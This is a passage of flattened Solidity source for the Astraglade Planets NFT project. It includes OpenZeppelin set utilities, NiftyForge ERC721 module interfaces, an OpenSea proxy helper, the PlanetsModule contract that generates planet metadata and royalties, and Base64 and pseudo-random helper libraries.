* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
return _values(set._inner);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(UintSet storage set) internal view returns (uint256[] memory) {
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title IERC2981Royalties
/// @dev Interface for the ERC2981 - Token Royalty standard
interface IERC2981Royalties {
/// @notice Called with the sale price to determine how much royalty
// is owed and to whom.
/// @param _tokenId - the NFT asset queried for royalty information
/// @param _value - the sale price of the NFT asset specified by _tokenId
/// @return _receiver - address of who should be sent the royalty payment
/// @return _royaltyAmount - the royalty payment amount for value sale price
function royaltyInfo(uint256 _tokenId, uint256 _value)
external
view
returns (address _receiver, uint256 _royaltyAmount);
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol';
import './OpenSea/BaseOpenSea.sol';
/// @title ERC721Ownable
/// @author Simon Fremaux (@dievardump)
contract ERC721Ownable is Ownable, ERC721Enumerable, BaseOpenSea {
/// @notice constructor
/// @param name_ name of the contract (see ERC721)
/// @param symbol_ symbol of the contract (see ERC721)
/// @param contractURI_ The contract URI (containing its metadata) - can be empty ""
/// @param openseaProxyRegistry_ OpenSea's proxy registry to allow gas-less listings - can be address(0)
/// @param owner_ Address to whom transfer ownership (can be address(0), then owner is deployer)
constructor(
string memory name_,
string memory symbol_,
string memory contractURI_,
address openseaProxyRegistry_,
address owner_
) ERC721(name_, symbol_) {
// set contract uri if present
if (bytes(contractURI_).length > 0) {
_setContractURI(contractURI_);
}
// set OpenSea proxyRegistry for gas-less trading if present
if (address(0) != openseaProxyRegistry_) {
_setOpenSeaRegistry(openseaProxyRegistry_);
}
// transferOwnership if needed
if (address(0) != owner_) {
transferOwnership(owner_);
}
}
/// @notice Allows to burn a tokenId
/// @dev Burns `tokenId`. See {ERC721-_burn}. The caller must own `tokenId` or be an approved operator.
/// @param tokenId the tokenId to burn
function burn(uint256 tokenId) public virtual {
require(
_isApprovedOrOwner(_msgSender(), tokenId),
'ERC721Burnable: caller is not owner nor approved'
);
_burn(tokenId);
}
/// @notice Allows gas-less trading on OpenSea by safelisting the Proxy of the user
/// @dev Override isApprovedForAll to check first if current operator is owner's OpenSea proxy
/// @inheritdoc ERC721
function isApprovedForAll(address owner, address operator)
public
view
override
returns (bool)
{
// allows gas less trading on OpenSea
if (isOwnersOpenSeaProxy(owner, operator)) {
return true;
}
return super.isApprovedForAll(owner, operator);
}
/// @notice Helper for the owner of the contract to set the new contract URI
/// @dev needs to be owner
/// @param contractURI_ new contract URI
function setContractURI(string memory contractURI_) external onlyOwner {
_setContractURI(contractURI_);
}
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
/// @title INiftyForge721
/// @author Simon Fremaux (@dievardump)
interface INiftyForge721 {
struct ModuleInit {
address module;
bool enabled;
bool minter;
}
/// @notice totalSupply access
function totalSupply() external view returns (uint256);
/// @notice helper to know if everyone can mint or only minters
function isMintingOpenToAll() external view returns (bool);
/// @notice Toggle minting open to all state
/// @param isOpen if the new state is open or not
function setMintingOpenToAll(bool isOpen) external;
/// @notice Mint token to `to` with `uri`
/// @param to address of recipient
/// @param uri token metadata uri
/// @param feeRecipient the recipient of royalties
/// @param feeAmount the royalties amount. From 0 to 10000
/// where 10000 == 100.00%; 1000 == 10.00%; 250 == 2.50%
/// @param transferTo the address to transfer the NFT to after mint
/// this is used when we want to mint the NFT to the creator address
/// before transferring it to a recipient
/// @return tokenId the tokenId
function mint(
address to,
string memory uri,
address feeRecipient,
uint256 feeAmount,
address transferTo
) external returns (uint256 tokenId);
/// @notice Mint batch tokens to `to[i]` with `uri[i]`
/// @param to array of address of recipients
/// @param uris array of token metadata uris
/// @param feeRecipients the recipients of royalties for each id
/// @param feeAmounts the royalties amounts for each id. From 0 to 10000
/// where 10000 == 100.00%; 1000 == 10.00%; 250 == 2.50%
/// @return tokenIds the tokenIds
function mintBatch(
address[] memory to,
string[] memory uris,
address[] memory feeRecipients,
uint256[] memory feeAmounts
) external returns (uint256[] memory tokenIds);
/// @notice Mint `tokenId` to to` with `uri`
/// Because not all tokenIds have incremental ids
/// be careful with this function, it does not increment lastTokenId
/// and expects the minter to actually know what it is doing.
/// this also means, this function does not verify _maxTokenId
/// @param to address of recipient
/// @param uri token metadata uri
/// @param tokenId token id wanted
/// @param feeRecipient the recipient of royalties
/// @param feeAmount the royalties amount. From 0 to 10000
/// where 10000 == 100.00%; 1000 == 10.00%; 250 == 2.50%
/// @param transferTo the address to transfer the NFT to after mint
/// this is used when we want to mint the NFT to the creator address
/// before transferring it to a recipient
/// @return tokenId the tokenId
function mint(
address to,
string memory uri,
uint256 tokenId_,
address feeRecipient,
uint256 feeAmount,
address transferTo
) external returns (uint256 tokenId);
/// @notice Mint batch tokens to `to[i]` with `uris[i]`
/// Because not all tokenIds have incremental ids
/// be careful with this function, it does not increment lastTokenId
/// and expects the minter to actually know what it's doing.
/// this also means, this function does not verify _maxTokenId
/// @param to array of address of recipients
/// @param uris array of token metadata uris
/// @param tokenIds array of token ids wanted
/// @param feeRecipients the recipients of royalties for each id
/// @param feeAmounts the royalties amounts for each id. From 0 to 10000
/// where 10000 == 100.00%; 1000 == 10.00%; 250 == 2.50%
/// @return tokenIds the tokenIds
function mintBatch(
address[] memory to,
string[] memory uris,
uint256[] memory tokenIds,
address[] memory feeRecipients,
uint256[] memory feeAmounts
) external returns (uint256[] memory);
/// @notice Attach a module
/// @param module a module to attach
/// @param enabled if the module is enabled by default
/// @param canModuleMint if the module has to be given the minter role
function attachModule(
address module,
bool enabled,
bool canModuleMint
) external;
/// @dev Allows owner to enable a module
/// @param module to enable
/// @param canModuleMint if the module has to be given the minter role
function enableModule(address module, bool canModuleMint) external;
/// @dev Allows owner to disable a module
/// @param module to disable
function disableModule(address module, bool keepListeners) external;
/// @notice function that returns a string that can be used to render the current token
/// @param tokenId tokenId
/// @return the URI to render token
function renderTokenURI(uint256 tokenId)
external
view
returns (string memory);
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import '@openzeppelin/contracts/utils/introspection/IERC165.sol';
interface INFModule is IERC165 {
/// @notice Called by a Token Registry whenever the module is Attached
/// @return if the attach worked
function onAttach() external returns (bool);
/// @notice Called by a Token Registry whenever the module is Enabled
/// @return if the enabling worked
function onEnable() external returns (bool);
/// @notice Called by a Token Registry whenever the module is Disabled
function onDisable() external;
/// @notice returns an URI with information about the module
/// @return the URI where to find information about the module
function contractURI() external view returns (string memory);
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import './INFModule.sol';
interface INFModuleRenderTokenURI is INFModule {
function renderTokenURI(uint256 tokenId)
external
view
returns (string memory);
function renderTokenURI(address registry, uint256 tokenId)
external
view
returns (string memory);
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import './INFModule.sol';
interface INFModuleTokenURI is INFModule {
function tokenURI(uint256 tokenId) external view returns (string memory);
function tokenURI(address registry, uint256 tokenId)
external
view
returns (string memory);
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import './INFModule.sol';
interface INFModuleWithRoyalties is INFModule {
/// @notice Return royalties (recipient, basisPoint) for tokenId
/// @dev Contrary to EIP2981, modules are expected to return basisPoint for second parameters
/// This in order to allow right royalties on marketplaces not supporting 2981 (like Rarible)
/// @param tokenId token to check
/// @return recipient and basisPoint for this tokenId
function royaltyInfo(uint256 tokenId)
external
view
returns (address recipient, uint256 basisPoint);
/// @notice Return royalties (recipient, basisPoint) for tokenId
/// @dev Contrary to EIP2981, modules are expected to return basisPoint for second parameters
/// This in order to allow right royalties on marketplaces not supporting 2981 (like Rarible)
/// @param registry registry to check id of
/// @param tokenId token to check
/// @return recipient and basisPoint for this tokenId
function royaltyInfo(address registry, uint256 tokenId)
external
view
returns (address recipient, uint256 basisPoint);
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import '@openzeppelin/contracts/utils/structs/EnumerableSet.sol';
import '@openzeppelin/contracts/utils/introspection/ERC165.sol';
import './INFModule.sol';
/// @title NFBaseModule
/// @author Simon Fremaux (@dievardump)
contract NFBaseModule is INFModule, ERC165 {
using EnumerableSet for EnumerableSet.AddressSet;
EnumerableSet.AddressSet internal _attached;
event NewContractURI(string contractURI);
string private _contractURI;
modifier onlyAttached(address registry) {
require(_attached.contains(registry), '!NOT_ATTACHED!');
_;
}
constructor(string memory contractURI_) {
_setContractURI(contractURI_);
}
/// @inheritdoc INFModule
function contractURI()
external
view
virtual
override
returns (string memory)
{
return _contractURI;
}
/// @inheritdoc INFModule
function onAttach() external virtual override returns (bool) {
if (_attached.add(msg.sender)) {
return true;
}
revert('!ALREADY_ATTACHED!');
}
/// @notice this contract doesn't really care if it's enabled or not
/// since trying to mint on a contract where it's not enabled will fail
/// @inheritdoc INFModule
function onEnable() external pure virtual override returns (bool) {
return true;
}
/// @inheritdoc INFModule
function onDisable() external virtual override {}
function _setContractURI(string memory contractURI_) internal {
_contractURI = contractURI_;
emit NewContractURI(contractURI_);
}
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title OpenSea contract helper that defines a few things
/// @author Simon Fremaux (@dievardump)
/// @dev This is a contract used to add OpenSea's support
contract BaseOpenSea {
string private _contractURI;
ProxyRegistry private _proxyRegistry;
/// @notice Returns the contract URI function. Used on OpenSea to get details
// about a contract (owner, royalties etc...)
function contractURI() public view returns (string memory) {
return _contractURI;
}
/// @notice Helper for OpenSea gas-less trading
/// @dev Allows to check if `operator` is owner's OpenSea proxy
/// @param owner the owner we check for
/// @param operator the operator (proxy) we check for
function isOwnersOpenSeaProxy(address owner, address operator)
public
view
returns (bool)
{
ProxyRegistry proxyRegistry = _proxyRegistry;
return
// we have a proxy registry address
address(proxyRegistry) != address(0) &&
// current operator is owner's proxy address
address(proxyRegistry.proxies(owner)) == operator;
}
/// @dev Internal function to set the _contractURI
/// @param contractURI_ the new contract uri
function _setContractURI(string memory contractURI_) internal {
_contractURI = contractURI_;
}
/// @dev Internal function to set the _proxyRegistry
/// @param proxyRegistryAddress the new proxy registry address
function _setOpenSeaRegistry(address proxyRegistryAddress) internal {
_proxyRegistry = ProxyRegistry(proxyRegistryAddress);
}
}
contract OwnableDelegateProxy {}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import '../NiftyForge/INiftyForge721.sol';
import '../NiftyForge/Modules/NFBaseModule.sol';
import '../NiftyForge/Modules/INFModuleTokenURI.sol';
import '../NiftyForge/Modules/INFModuleRenderTokenURI.sol';
import '../NiftyForge/Modules/INFModuleWithRoyalties.sol';
import '../v2/AstragladeUpgrade.sol';
import '../ERC2981/IERC2981Royalties.sol';
import '../libraries/Randomize.sol';
import '../libraries/Base64.sol';
/// @title PlanetsModule
/// @author Simon Fremaux (@dievardump)
contract PlanetsModule is
Ownable,
NFBaseModule,
INFModuleTokenURI,
INFModuleRenderTokenURI,
INFModuleWithRoyalties
{
// using ECDSA for bytes32;
using Strings for uint256;
using Randomize for Randomize.Random;
uint256 constant SEED_BOUND = 1000000000;
// emitted when planets are claimed
event PlanetsClaimed(uint256[] tokenIds);
// contract actually holding the planets
address public planetsContract;
// astraglade contract to claim ids from
address public astragladeContract;
// contract operator next to the owner
address public contractOperator =
address(0xD1edDfcc4596CC8bD0bd7495beaB9B979fc50336);
// project base render URI
string private _baseRenderURI;
// whenever all images are uploaded on arweave/ipfs and
// this flag allows to stop all update of images, scripts etc...
bool public frozenMeta;
// base image rendering URI
// before all Planets are minted, images will be stored on our servers since
// they need to be generated after minting
// after all planets are minted, they will all be stored in a decentralized way
// and the _baseImagesURI will be updated
string private _baseImagesURI;
// project description
string internal _description;
address[3] public feeRecipients = [
0xe4657aF058E3f844919c3ee713DF09c3F2949447,
0xb275E5aa8011eA32506a91449B190213224aEc1e,
0xdAC81C3642b520584eD0E743729F238D1c350E62
];
mapping(uint256 => bytes32) public planetSeed;
// saving already taken seeds to ensure not reusing a seed
mapping(uint256 => bool) public seedTaken;
modifier onlyOperator() {
require(isOperator(msg.sender), 'Not operator.');
_;
}
function isOperator(address operator) public view returns (bool) {
return owner() == operator || contractOperator == operator;
}
/// @dev Receive, for royalties
receive() external payable {}
/// @notice constructor
/// @param contractURI_ The contract URI (containing its metadata) - can be empty ""
/// @param owner_ Address to whom transfer ownership (can be address(0), then owner is deployer)
/// @param astragladeContract_ the contract holding the astraglades
constructor(
string memory contractURI_,
address owner_,
address planetsContract_,
address astragladeContract_
) NFBaseModule(contractURI_) {
planetsContract = planetsContract_;
astragladeContract = astragladeContract_;
if (address(0) != owner_) {
transferOwnership(owner_);
}
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override
returns (bool)
{
return
interfaceId == type(INFModuleTokenURI).interfaceId ||
interfaceId == type(INFModuleRenderTokenURI).interfaceId ||
interfaceId == type(INFModuleWithRoyalties).interfaceId ||
super.supportsInterface(interfaceId);
}
/// @inheritdoc INFModuleWithRoyalties
function royaltyInfo(uint256 tokenId)
public
view
override
returns (address, uint256)
{
return royaltyInfo(msg.sender, tokenId);
}
/// @inheritdoc INFModuleWithRoyalties
function royaltyInfo(address, uint256)
public
view
override
returns (address receiver, uint256 basisPoint)
{
receiver = address(this);
basisPoint = 1000;
}
/// @inheritdoc INFModuleTokenURI
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
return tokenURI(msg.sender, tokenId);
}
/// @inheritdoc INFModuleTokenURI
function tokenURI(address, uint256 tokenId)
public
view
override
returns (string memory)
{
(
uint256 seed,
uint256 astragladeSeed,
uint256[] memory attributes
) = getPlanetData(tokenId);
return
string(
abi.encodePacked(
'data:application/json;base64,',
Base64.encode(
abi.encodePacked(
'{"name":"Planet - ',
tokenId.toString(),
'","license":"CC BY-SA 4.0","description":"',
getDescription(),
'","created_by":"Fabin Rasheed","twitter":"@astraglade","image":"',
abi.encodePacked(
getBaseImageURI(),
tokenId.toString()
),
'","seed":"',
seed.toString(),
abi.encodePacked(
'","astragladeSeed":"',
astragladeSeed.toString(),
'","attributes":[',
_generateJSONAttributes(attributes),
'],"animation_url":"',
_renderTokenURI(
seed,
astragladeSeed,
attributes
),
'"}'
)
)
)
)
);
}
/// @notice function that returns a string that can be used to render the current token
/// @param tokenId tokenId
/// @return the URI to render token
function renderTokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
return renderTokenURI(msg.sender, tokenId);
}
/// @notice function that returns a string that can be used to render the current token
/// @param tokenId tokenId
/// @return the URI to render token
function renderTokenURI(address, uint256 tokenId)
public
view
override
returns (string memory)
{
(
uint256 seed,
uint256 astragladeSeed,
uint256[] memory attributes
) = getPlanetData(tokenId);
return _renderTokenURI(seed, astragladeSeed, attributes);
}
/// @notice Helper returning all data for a Planet
/// @param tokenId the planet id
/// @return the planet seed, the astraglade seed and the planet attributes (the integer form)
function getPlanetData(uint256 tokenId)
public
view
returns (
uint256,
uint256,
uint256[] memory
)
{
require(planetSeed[tokenId] != 0, '!UNKNOWN_TOKEN!');
uint256 seed = uint256(planetSeed[tokenId]) % SEED_BOUND;
uint256[] memory attributes = _getAttributes(seed);
AstragladeUpgrade.AstragladeMeta memory astraglade = AstragladeUpgrade(
payable(astragladeContract)
).getAstraglade(tokenId);
return (seed, astraglade.seed, attributes);
}
/// @notice Returns Metadata for Astraglade id
/// @param tokenId the tokenId we want metadata for
function getAstraglade(uint256 tokenId)
public
view
returns (AstragladeUpgrade.AstragladeMeta memory astraglade)
{
return
AstragladeUpgrade(payable(astragladeContract)).getAstraglade(
tokenId
);
}
/// @notice helper to get the description
function getDescription() public view returns (string memory) {
if (bytes(_description).length == 0) {
return
"Astraglade Planets is an extension of project Astraglade (https://nurecas.com/astraglade). Planets are an interactive and generative 3D art that can be minted for free by anyone who owns an astraglade at [https://astraglade.beyondnft.io/planets/](https://astraglade.beyondnft.io/planets/). When a Planet is minted, the owner's astraglade will orbit forever around the planet that they mint.";
}
return _description;
}
/// @notice helper to get the baseRenderURI
function getBaseRenderURI() public view returns (string memory) {
if (bytes(_baseRenderURI).length == 0) {
return 'ar://JYtFvtxlpyur2Cdpaodmo46XzuTpmp0OwJl13rFUrrg/';
}
return _baseRenderURI;
}
/// @notice helper to get the baseImageURI
function getBaseImageURI() public view returns (string memory) {
if (bytes(_baseImagesURI).length == 0) {
return 'https://astraglade-api.beyondnft.io/planets/images/';
}
return _baseImagesURI;
}
/// @inheritdoc INFModule
function onAttach()
external
virtual
override(INFModule, NFBaseModule)
returns (bool)
{
// only the first attach is accepted, saves a "setPlanetsContract" call
if (planetsContract == address(0)) {
planetsContract = msg.sender;
return true;
}
return false;
}
/// @notice Claim tokenIds[] from the astraglade contract
/// @param tokenIds the tokenIds to claim
function claim(uint256[] calldata tokenIds) external {
address operator = msg.sender;
// saves some reads
address astragladeContract_ = astragladeContract;
address planetsContract_ = planetsContract;
for (uint256 i; i < tokenIds.length; i++) {
_claim(
operator,
tokenIds[i],
astragladeContract_,
planetsContract_
);
}
}
/// @notice Allows to freeze any metadata update
function freezeMeta() external onlyOperator {
frozenMeta = true;
}
/// @notice sets contract uri
/// @param newURI the new uri
function setContractURI(string memory newURI) external onlyOperator {
_setContractURI(newURI);
}
/// @notice sets planets contract
/// @param planetsContract_ the contract containing planets
function setPlanetsContract(address planetsContract_)
external
onlyOperator
{
planetsContract = planetsContract_;
}
/// @notice helper to set the description
/// @param newDescription the new description
function setDescription(string memory newDescription)
external
onlyOperator
{
require(frozenMeta == false, '!META_FROZEN!');
_description = newDescription;
}
/// @notice helper to set the baseRenderURI
/// @param newRenderURI the new renderURI
function setBaseRenderURI(string memory newRenderURI)
external
onlyOperator
{
require(frozenMeta == false, '!META_FROZEN!');
_baseRenderURI = newRenderURI;
}
/// @notice helper to set the baseImageURI
/// @param newBaseImagesURI the new base image URI
function setBaseImagesURI(string memory newBaseImagesURI)
external
onlyOperator
{
require(frozenMeta == false, '!META_FROZEN!');
_baseImagesURI = newBaseImagesURI;
}
/// @dev Owner withdraw balance function
function withdraw() external onlyOperator {
address[3] memory feeRecipients_ = feeRecipients;
uint256 balance_ = address(this).balance;
payable(address(feeRecipients_[0])).transfer((balance_ * 30) / 100);
payable(address(feeRecipients_[1])).transfer((balance_ * 35) / 100);
payable(address(feeRecipients_[2])).transfer(address(this).balance);
}
/// @notice helper to set the fee recipient at `index`
/// @param newFeeRecipient the new address
/// @param index the index to edit
function setFeeRecipient(address newFeeRecipient, uint8 index)
external
onlyOperator
{
require(index < feeRecipients.length, '!INDEX_OVERFLOW!');
require(newFeeRecipient != address(0), '!INVALID_ADDRESS!');
feeRecipients[index] = newFeeRecipient;
}
/// @notice Helper for an operator to change the current operator address
/// @param newOperator the new operator
function setContractOperator(address newOperator) external onlyOperator {
contractOperator = newOperator;
}
/// @dev Allows to claim a tokenId; the Planet will always be minted to the owner of the Astraglade
/// @param operator the one launching the claim (needs to be owner or approved on the Astraglade)
/// @param tokenId the Astraglade tokenId to claim
/// @param astragladeContract_ the Astraglade contract to check ownership
/// @param planetsContract_ the Planet contract (where to mint the tokens)
function _claim(
address operator,
uint256 tokenId,
address astragladeContract_,
address planetsContract_
) internal {
AstragladeUpgrade astraglade = AstragladeUpgrade(
payable(astragladeContract_)
);
address owner_ = astraglade.ownerOf(tokenId);
// verify that the operator has the right to claim
require(
owner_ == operator ||
astraglade.isApprovedForAll(owner_, operator) ||
astraglade.getApproved(tokenId) == operator,
'!NOT_AUTHORIZED!'
);
// mint
INiftyForge721 planets = INiftyForge721(planetsContract_);
// always mint to owner_, not to operator
planets.mint(owner_, '', tokenId, address(0), 0, address(0));
// creates a seed
bytes32 seed;
do {
seed = _generateSeed(
tokenId,
block.timestamp,
owner_,
blockhash(block.number - 1)
);
} while (seedTaken[uint256(seed) % SEED_BOUND]);
planetSeed[tokenId] = seed;
// ensure we won't have two seeds rendering the same planet
seedTaken[uint256(seed) % SEED_BOUND] = true;
}
/// @dev Calculate next seed using a few on chain data
/// @param tokenId tokenId
/// @param timestamp current block timestamp
/// @param operator current operator
/// @param blockHash last block hash
/// @return a new bytes32 seed
function _generateSeed(
uint256 tokenId,
uint256 timestamp,
address operator,
bytes32 blockHash
) internal view returns (bytes32) {
return
keccak256(
abi.encodePacked(
tokenId,
timestamp,
operator,
blockHash,
block.coinbase,
block.difficulty,
tx.gasprice
)
);
}
/// @notice generates the attributes values according to seed
/// @param seed the seed to generate the values
/// @return attributes an array of attributes (integers)
function _getAttributes(uint256 seed)
internal
pure
returns (uint256[] memory attributes)
{
Randomize.Random memory random = Randomize.Random({seed: seed});
// remember, all numbers returned by randomBetween are
// multiplicated by 1000, because solidity has no decimals
// so we will divide all those numbers later
attributes = new uint256[](6);
// density
attributes[0] = random.randomBetween(10, 200);
// radius
attributes[1] = random.randomBetween(5, 15);
// cube planet
attributes[2] = random.randomBetween(0, 5000);
if (attributes[2] < 20000) {
// set radius = 10 if cube
attributes[1] = 10000;
}
// shade - remember to actually change 1 into -1 in the HTML
attributes[3] = random.randomBetween(0, 2) < 1000 ? 0 : 1;
// rings
// if cube, 2 or 3 rings
if (attributes[2] < 20000) {
attributes[4] = random.randomBetween(2, 4) / 1000;
} else {
// else 30% chances to have rings (1, 2 and 3)
attributes[4] = random.randomBetween(0, 10) / 1000;
// if more than 3, then none.
if (attributes[4] > 3) {
attributes[4] = 0;
}
}
// moons, 0, 1, 2 or 3
attributes[5] = random.randomBetween(0, 4) / 1000;
}
/// @notice Generates the JSON string from the attributes values
/// @param attributes the attributes values
/// @return jsonAttributes, the string for attributes
function _generateJSONAttributes(uint256[] memory attributes)
internal
pure
returns (string memory)
{
bytes memory coma = bytes(',');
// Terrain
bytes memory jsonAttributes = abi.encodePacked(
_makeAttributes(
'Terrain',
attributes[0] < 50000 ? 'Dense' : 'Sparse'
),
coma
);
// Size
if (attributes[1] < 8000) {
jsonAttributes = abi.encodePacked(
jsonAttributes,
_makeAttributes('Size', 'Tiny'),
coma
);
} else if (attributes[1] < 12000) {
jsonAttributes = abi.encodePacked(
jsonAttributes,
_makeAttributes('Size', 'Medium'),
coma
);
} else {
jsonAttributes = abi.encodePacked(
jsonAttributes,
_makeAttributes('Size', 'Giant'),
coma
);
}
// Form
jsonAttributes = abi.encodePacked(
jsonAttributes,
_makeAttributes(
'Form',
attributes[2] < 20000 ? 'Tesseract' : 'Geo'
),
coma,
_makeAttributes('Shade', attributes[3] == 0 ? 'Vibrant' : 'Simple'),
coma,
_makeAttributes('Rings', attributes[4].toString()),
coma,
_makeAttributes('Moons', attributes[5].toString())
);
return string(jsonAttributes);
}
function _makeAttributes(string memory name_, string memory value)
internal
pure
returns (bytes memory)
{
return
abi.encodePacked(
'{"trait_type":"',
name_,
'","value":"',
value,
'"}'
);
}
/// @notice returns the URL to render the Planet
/// @param seed the planet seed
/// @param astragladeSeed the astraglade seed
/// @param attributes all attributes needed for the planets
/// @return the URI to render the planet
function _renderTokenURI(
uint256 seed,
uint256 astragladeSeed,
uint256[] memory attributes
) internal view returns (string memory) {
bytes memory coma = bytes(',');
bytes memory attrs = abi.encodePacked(
attributes[0].toString(),
coma,
attributes[1].toString(),
coma,
attributes[2].toString(),
coma
);
return
string(
abi.encodePacked(
getBaseRenderURI(),
'?seed=',
seed.toString(),
'&astragladeSeed=',
astragladeSeed.toString(),
'&attributes=',
abi.encodePacked(
attrs,
attributes[3].toString(),
coma,
attributes[4].toString(),
coma,
attributes[5].toString()
)
)
);
}
}
pragma solidity ^0.8.0;
// SPDX-License-Identifier: MIT
/// @title Base64
/// @author Brecht Devos - <[email protected]>
/// @notice Provides a function for encoding some bytes in base64
library Base64 {
string internal constant TABLE =
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
function encode(bytes memory data) internal pure returns (string memory) {
if (data.length == 0) return '';
// load the table into memory
string memory table = TABLE;
// multiply by 4/3 rounded up
uint256 encodedLen = 4 * ((data.length + 2) / 3);
// add some extra buffer at the end required for the writing
string memory result = new string(encodedLen + 32);
assembly {
// set the actual output length
mstore(result, encodedLen)
// prepare the lookup table
let tablePtr := add(table, 1)
// input ptr
let dataPtr := data
let endPtr := add(dataPtr, mload(data))
// result ptr, jump over length
let resultPtr := add(result, 32)
// run over the input, 3 bytes at a time
for {
} lt(dataPtr, endPtr) {
} {
dataPtr := add(dataPtr, 3)
// read 3 bytes
let input := mload(dataPtr)
// write 4 characters
mstore(
resultPtr,
shl(248, mload(add(tablePtr, and(shr(18, input), 0x3F))))
)
resultPtr := add(resultPtr, 1)
mstore(
resultPtr,
shl(248, mload(add(tablePtr, and(shr(12, input), 0x3F))))
)
resultPtr := add(resultPtr, 1)
mstore(
resultPtr,
shl(248, mload(add(tablePtr, and(shr(6, input), 0x3F))))
)
resultPtr := add(resultPtr, 1)
mstore(
resultPtr,
shl(248, mload(add(tablePtr, and(input, 0x3F))))
)
resultPtr := add(resultPtr, 1)
}
// padding with '='
switch mod(mload(data), 3)
case 1 {
mstore(sub(resultPtr, 2), shl(240, 0x3d3d))
}
case 2 {
mstore(sub(resultPtr, 1), shl(248, 0x3d))
}
}
return result;
}
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// small library to randomize using (min, max, seed)
// all number returned are considered with 3 decimals
library Randomize {
struct Random {
uint256 seed;
}
/// @notice This function uses seed to return a pseudo random interger between 0 and 1000
/// Because solidity has no decimal points, the number is considered to be [0, 0.999]
/// @param random the random seed
/// @return the pseudo random number (with 3 decimal basis)
function randomDec(Random memory random) internal pure returns (uint256) {
random.seed ^= random.seed << 13;
random.seed ^= random.seed >> 17;
random.seed ^= random.seed << 5;
return ((random.seed < 0 ? ~random.seed + 1 : random.seed) % 1000);
}
/// @notice return a number between [min, max[, multiplicated by 1000 (for 3 decimal basis)
/// @param random the random seed
/// @return the pseudo random number (with 3 decimal basis)
function randomBetween(
Random memory random,
uint256 min,
uint256 max
) internal pure returns (uint256) {
return min * 1000 + (max - min) * Randomize.randomDec(random);
}
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import '@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol';
